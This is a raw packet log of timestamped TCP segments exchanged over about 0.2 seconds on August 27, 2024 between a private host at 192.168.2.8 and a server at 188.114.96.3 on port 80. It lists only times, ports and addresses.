Aug 27, 2024 09:49:39.675709963 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.675717115 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.675729990 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.675739050 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.675740957 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.675751925 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.675760984 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.675762892 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.675772905 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.675780058 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.675785065 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.675796986 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.675800085 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.675807953 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.675818920 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.675825119 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.675831079 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.675842047 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.675842047 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.675854921 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.675865889 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.675865889 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.675884008 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.675894976 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.675901890 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.675905943 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.675918102 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.675926924 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.675929070 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.675951004 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.675972939 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.677615881 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.677628040 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.677637100 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.677648067 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.677659035 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.677670956 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.677681923 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.677685022 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.677692890 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.677705050 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.677716017 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.677726984 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.677728891 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.677740097 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.677747011 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.677756071 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.677766085 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.677767038 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.677784920 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.677784920 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.677795887 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.677807093 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.677810907 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.677818060 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.677829027 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.677834988 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.677841902 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.677853107 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.677855968 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.677866936 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.677877903 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.677887917 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.677891016 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.677901030 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.677901030 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.677911997 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.677922964 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.677933931 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.677936077 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.677944899 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.677953959 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.677956104 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.677968979 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.677973986 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.677979946 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.677984953 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.677994967 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.677998066 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.678008080 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.678020000 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.678029060 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.678030014 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.678052902 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.726723909 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.760823965 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.760843992 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.760854959 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.760907888 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.760950089 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.760960102 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.760970116 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.760979891 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.760989904 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.760993958 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.761033058 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.761048079 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.761058092 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.761068106 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.761075974 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.761086941 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.761096954 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.761107922 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.761110067 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.761132002 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.761149883 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.761225939 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.761235952 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.761245012 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.761255980 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.761270046 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.761272907 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.761281013 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.761288881 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.761291981 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.761305094 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.761317015 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.761317968 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.761357069 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.761385918 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.761400938 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.761419058 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.761426926 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.761430025 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.761440039 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.761450052 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.761452913 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.761461020 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.761473894 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.761478901 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.761508942 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.761538029 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.761548042 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.761574030 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.761706114 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.761715889 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.761725903 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.761737108 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.761743069 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.761748075 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.761759043 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.761765003 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.761770964 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.761780977 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.761791945 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.761791945 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.761802912 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.761815071 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.761818886 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.761837006 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.761856079 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.761867046 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.761871099 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.761883974 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.761895895 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.761900902 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.761907101 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.761919022 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.761929035 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.761930943 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.761970043 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.762096882 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.762106895 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.762118101 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.762130976 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.762131929 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.762142897 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.762154102 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.762159109 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.762166023 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.762178898 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.762188911 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.762192011 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.762200117 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.762207985 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.762233019 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.762404919 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.762417078 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.762425900 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.762437105 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.762442112 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.762448072 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.762459993 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.762459993 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.762476921 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.762486935 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.762489080 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.762499094 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.762510061 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.762510061 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.762521029 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.762533903 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.762542963 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.762545109 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.762556076 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.762564898 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.762567043 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.762573957 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.762619972 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.762664080 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.762676001 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.762686968 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.762698889 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.762708902 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.762713909 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.762721062 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.762732029 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.762732983 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.762743950 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.762754917 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.762763023 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.762794971 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.762825966 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.762837887 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.762855053 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.762864113 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.762866974 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.762877941 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.762886047 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.762888908 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.762901068 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.762912989 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.762912989 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.762923002 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.762947083 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.762969017 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.763040066 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.763051033 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.763062000 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.763077974 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.763143063 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.763154030 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.763164043 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.763175011 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.763185978 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.763196945 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.763196945 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.763207912 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.763212919 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.763230085 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.763247013 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.763257980 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.763268948 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.763278961 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.763293028 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.763309956 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.763309002 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.763334036 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.763354063 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.763365030 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.763375044 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.763391018 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.763397932 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.763401985 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.763412952 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.763438940 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.764071941 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.764081001 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.764091015 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.764116049 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.764126062 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.764137030 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.764138937 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.764152050 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.764153004 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.764183044 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.764205933 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.764214993 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.764246941 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.847942114 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.847954988 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.847966909 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.848037004 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.848086119 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.848098040 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.848109961 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.848120928 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.848131895 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.848134041 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.848145962 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.848154068 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.848186970 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.848208904 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.848220110 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.848232031 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.848249912 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.848272085 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.848310947 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.848323107 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.848334074 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.848345995 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.848356009 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.848357916 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.848381996 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.848530054 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.848541021 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.848578930 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.849112988 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.849124908 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.849136114 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.849145889 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.849162102 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.849184990 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.849267960 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.849286079 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.849296093 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.849312067 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.849314928 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.849323988 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.849334955 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.849342108 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.849349022 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.849359035 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.849363089 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.849370003 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.849380016 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.849386930 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.849391937 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.849401951 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.849411011 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.849421024 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.849432945 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.849435091 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.849442959 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.849451065 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.849462032 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.849473000 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.849474907 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.849495888 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.849513054 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.849620104 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.849664927 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.849767923 CEST	80	49715	188.114.96.3	192.168.2.8
